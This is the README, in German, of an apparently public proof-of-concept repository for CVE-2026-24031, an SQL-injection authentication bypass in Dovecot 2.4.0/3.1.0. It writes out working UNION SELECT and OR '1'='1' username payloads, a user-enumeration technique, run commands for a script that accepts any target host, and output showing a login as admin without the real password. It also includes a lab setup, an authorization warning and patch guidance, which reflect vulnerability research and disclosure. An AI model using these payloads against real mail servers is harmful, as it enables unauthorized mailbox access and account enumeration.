
Eigenständiger Python-PoC für den Bypass der Dovecot-SQL-Authentifizierung: meldet sich als beliebiger Benutzer ohne das echte Passwort an und listet Benutzernamen auf verwundbaren 2.4.0/3.1.0-IMAP/POP3-Servern auf.
Dieses Repository enthält einen Proof-of-Concept-Exploit zur Umgehung der Authentifizierung für CVE-2026-24031, eine SQL-Injection in der SQL-basierten Authentifizierung von Dovecot, die als Regression in Dovecot 2.4.0 / 3.1.0 eingeführt wurde. Im getesteten Docker-Labor (Dovecot 2.4.0 + PostgreSQL) meldet sich der PoC als beliebiger Benutzer an, ohne das echte Passwort zu kennen, und kann zusätzlich Benutzer aufzählen.
Warnung
Dieser PoC führt eine nicht authentifizierte Umgehung der Authentifizierung gegen einen Mail-Server durch. Verwenden Sie ihn nur gegen ein Labor, das Ihnen gehört, oder gegen Ziele, für die Sie ausdrücklich zur Durchführung von Tests autorisiert sind. Er verändert den Zustand des Servers nicht, aber er beansprucht die Authentifizierung und kann fehlgeschlagene Anmelde-Einträge in den Protokollen hinterlassen.
Die SQL-basierte Authentifizierung von Dovecot ist verwundbar, wenn der Administrator
die Konfigurationsdirektive auth_username_chars leert (auf einen leeren Wert setzt).
auth_username_chars fungiert normalerweise als Eingabefilter, der einschränkt, welche
Zeichen in einem Benutzernamen erlaubt sind, bevor der Benutzername in die
SQL-passdb-Abfrage eingefügt wird.
Wenn auth_username_chars = leer ist, wird der Wert ohne sql_escape_string() an die Abfrage übergeben. Ein präparierter Benutzername, der SQL-Metazeichen enthält, wird daher Teil der Abfrage:
SELECT username AS user, password FROM users
WHERE username = '%{user}' AND active = TRUE
Das folgende Payload bewirkt, dass die Abfrage eine Zeile für VICTIM mit einem vom Angreifer gewählten Passwort zurückgibt:
' UNION SELECT 'VICTIM','{PLAIN}12345' --
{PLAIN} wird von Dovecot geparst (nicht von der Datenbank), sodass das Passwort-Schema nativ behandelt wird und der Trick auf pgsql, mysql, mariadb und sqlite funktioniert. Wird 12345 als Passwort gesendet, stimmt der Abgleich überein und ergibt LOGIN OK als VICTIM, ohne das echte Passwort zu kennen.
Die resultierende Abfrage lautet:
SELECT username AS user, password FROM users
WHERE username = '' UNION SELECT 'VICTIM','{PLAIN}12345' -- ' AND active = TRUE
Dabei handelt es sich um eine in Dovecot 2.4.0 eingeführte Regression, die auch in 3.1.0 vorhanden ist. Frühere 2.2.x-/2.3.x-Versionen maskieren den Benutzernamen und sind nicht verwundbar. Der Fehler ist in 2.4.3 und 3.1.4 behoben (OXDC-ADV-2026-0001, DOV-8781).
Die Schwachstelle ist nur dann anwendbar, wenn alle folgenden Bedingungen zutreffen:
driver = sql) mit pgsql, mysql, mariadb oder sqlite;auth_username_chars = (leer) — die vom Administrator gesetzte Auslösebedingung;Der PoC wurde gegen Dovecot 2.4.0 (offizielles Release-Tag, daeb6bc5) + PostgreSQL validiert.
Authentifizieren Sie sich mit dem Benutzernamen ' OR '1'='1' -- und einem beliebigen Passwort. Auf einem verwundbaren Server wird die Abfrage verändert, sodass Dovecot a1 NO [UNAVAILABLE] Temporary authentication failure. anstelle der klassischen Meldung AUTHENTICATIONFAILED zurückgibt. Dies ist der Fingerabdruck dafür, dass der Benutzername unmaskiert in die SQL-Abfrage gelangt ist.
Authentifizieren Sie sich mit dem Benutzernamen:
' UNION SELECT 'VICTIM','{PLAIN}12345' --
und dem Passwort 12345. Die UNION-Zeile überschreibt die Spalte password für
VICTIM, und {PLAIN} wird von Dovecot geparst, sodass die Passwortprüfung erfolgreich ist.
Da die Gestalt des Abfrageergebnisses zwischen „Benutzer existiert“ und „Benutzer existiert nicht“ variiert (Zeilenanzahl und Antwortstatus), gibt der Server preis, ob ein Benutzername existiert. Dies funktioniert gegen jedes betroffene Backend.
Der PoC ist ein in sich geschlossenes Python-3-Skript (nur Standardbibliothek). Starten Sie das verwundbare Labor und führen Sie den Exploit aus:
./run.sh
run.sh erstellt und startet das Docker-Labor (lab/docker-compose.yml), wartet
auf IMAPS auf 127.0.0.1:14193 und führt dann den PoC aus. Das Labor erstellt Dovecot
2.4.0 aus dem offiziellen Release-Tarball mit einer absichtlich verwundbaren
Konfiguration und einer PostgreSQL-Datenbank.
Entsprechende manuelle Schritte:
docker compose -f lab/docker-compose.yml up -d --build
python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
PoC-Optionen:
python3 cve-2026-24031-poc.py <HOST> [PORT] [DELAY] [PROTO]
HOST IP oder Hostname (erforderlich)
PORT 993 = IMAPS/TLS (Standard), 143 = IMAP, 995 = POP3S, 110 = POP3
DELAY Sekunden zwischen den Versuchen (Standard 0.5)
PROTO imap (Standard) | pop3
Optionale Umgebungsvariablen:
CVE24031_USER zu impersonierender Benutzername (Standard: admin)
CVE24031_PASS für die UNION-Zeile gewähltes Passwort (Standard: 12345)
Die Lab-Datenbank wird mit folgenden Benutzern initialisiert: admin/admin123, alice/alicepass,
bob/bobpass, postmaster/postpass und victim/supersecret. Der PoC
gibt sich als admin aus, ohne dessen Passwort zu kennen.
Der PoC wurde im Docker-Labor durchgängig validiert. Das echte Passwort des Benutzers admin
lautet admin123; der PoC meldet sich unter Verwendung von 12345 als admin an.
$ python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
[*] Target : 127.0.0.1:14193 (imap, plain)
[*] Victim : admin imposed password: 12345
[*] TARGET CONFIG: Dovecot 2.4.0/3.1.0 + driver=sql + auth_username_chars EMPTY
=== PHASE 1: UNION SELECT (login as victim without real password) ===
[UN ] user="' UNION SELECT 'admin','{PLAIN}12345' -- " pwd='12345' -> OK
============================================================
[!] >>>>>> BYPASS CONFIRMED <<<<<<
[!] Logged in as 'admin' without knowing the real password.
[!] CVE-2026-24031 exploited.
Das vollständige bereinigte Transkript einschließlich der Schritte zur Kontrolle der legitimen Anmeldung und zur Erkennung der fehlenden Maskierung befindet sich in
docs/example-output.txt.
Die animierte Demo am Anfang dieser README (assets/CVE-2026-24031.gif) wurde
aus einer echten Sitzung gegen das laufende Labor aufgezeichnet. Sie kann wie folgt neu erzeugt werden:
# with the lab up (docker compose -f lab/docker-compose.yml up -d)
asciinema rec --cols 120 --rows 34 -c "bash demo.sh" demo.cast
agg --font-size 16 --fps-cap 30 --speed 1.2 --theme nord \
--cols 120 --rows 34 demo.cast assets/CVE-2026-24031.gif
demo.sh steuert die Live-Demonstration; demo.cast ist die rohe asciinema-Aufzeichnung, die zum Rendern des GIF verwendet wird.
Das Advisory (OXDC-ADV-2026-0001, DOV-8781) wurde upstream bereits veröffentlicht;
Dovecot 2.4.3 / 3.1.4 maskieren den Benutzernamen, bevor er in die
SQL-Abfrage eingefügt wird. Die Behebung wird daher in diesem Repository nicht dupliziert. Die
empfohlene Härtung besteht darin, auth_username_chars niemals zu leeren oder auf ein
behobenes Release zu aktualisieren.
Entdeckung der Schwachstelle: whisperer@yeswehack.
Forschung und Exploit-Implementierung: A. Ramos <[email protected]>
(Twitter: @aramosf).
CVE-2026-24031 PoC zur Umgehung der SQL-Authentifizierung bei Dovecot (Authentifizierungsumgehung + Benutzeraufzählung)
| Version | Status |
|---|
| Dovecot 2.2.x | Nicht betroffen (Benutzername wird maskiert) |
| Dovecot 2.3.x | Nicht betroffen (Benutzername wird maskiert) |
| Dovecot 2.4.0 | Verwundbar (Regression: Benutzername wird nicht maskiert) |
| Dovecot 2.4.3+ | Behoben (Benutzername wird maskiert) |
| Dovecot 3.1.0 | Verwundbar (gleiche Regression) |
| Dovecot 3.1.4+ | Behoben (Benutzername wird maskiert) |